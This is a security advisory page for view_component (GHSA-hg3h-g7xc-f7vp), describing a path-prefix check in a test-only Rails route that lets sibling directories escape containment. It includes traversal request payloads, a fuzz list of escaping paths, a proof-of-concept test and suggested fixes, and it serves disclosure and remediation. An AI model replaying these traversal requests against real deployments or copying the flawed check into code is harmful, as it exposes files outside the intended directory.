VDB
Sign up
MEDIUM5.9

GHSA-hg3h-g7xc-f7vp

view_component: System Test Entry Point Path Check Allows Sibling Directory Escape

Quick fix

GHSA-hg3h-g7xc-f7vp — view_component: upgrade to the fixed version with the command below.

bundle update view_component

Details

### Summary

The system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

```text Allowed base: /app/tmp/view_components Outside path: /app/tmp/view_components_evil/secret.html.erb ```

The outside path is not inside the base directory, but it passes:

```ruby @path.start_with?(base_path) ```

### Relevant Code

`app/controllers/view_components_system_test_controller.rb`:

```ruby base_path = ::File.realpath(self.class.temp_dir) @path = ::File.realpath(params.permit(:file)[:file], base_path) raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path) ```

The route then renders the resolved file:

```ruby render file: @path ```

### Exploit Flow

Example request:

```text GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb ```

Flow:

1. `base_path` resolves to `.../tmp/view_components`. 2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`. 3. That path is outside the intended temp directory. 4. The string prefix check still passes. 5. Rails renders the sibling file.

The route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

### Targeted Fuzz Result

The following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:

```text ../view_components_evil/secret.html ../view_components2/poc.html ../view_components.bak/poc.html ../view_components-old/poc.html ../view_componentsx/poc.html ```

### PoC Test

Create `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:

```ruby # frozen_string_literal: true

require "test_helper" require "fileutils"

class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir) parent_dir = File.dirname(base_dir) sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil") outside_file = File.join(sibling_dir, "secret.html.erb")

FileUtils.mkdir_p(sibling_dir) File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")

get "/_system_test_entrypoint", params: { file: "../#{File.basename(base_dir)}_evil/secret.html.erb" }

assert_response :success assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC" ensure FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir) end end ```

Run:

```bash bundle exec ruby -Itest test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb ```

Vulnerable behavior: the response succeeds and contains `VC_SYSTEM_TEST_TRAVERSAL_POC`.

Fixed behavior: the request raises `ViewComponent::SystemTestControllerNefariousPathError` or otherwise fails without rendering the file.

### Suggested Fix

Use path-aware containment instead of a raw string prefix. For example:

```ruby def validate_file_path base_path = Pathname.new(::File.realpath(self.class.temp_dir)) path = Pathname.new(::File.realpath(params.permit(:file)[:file], base_path.to_s)) relative_path = path.relative_path_from(base_path)

raise ViewComponent::SystemTestControllerNefariousPathError if relative_path.each_filename.first == ".."

@path = path.to_s end ```

Or require a separator boundary:

```ruby allowed_prefix = "#{base_path}#{File::SEPARATOR}" unless @path == base_path || @path.start_with?(allowed_prefix) raise ViewComponent::SystemTestControllerNefariousPathError end ```

Add regression tests for:

- A normal temp file inside `tmp/view_components` - `../../README.md` - `../view_components_evil/secret.html.erb` - A symlink inside the temp directory that resolves outside it

Are you affected?

Enter the version of the package you're using.

Affected packages

RubyGems/view_component
Introduced in: 3.0.0Fixed in: 4.9.0
Fixbundle update view_component

References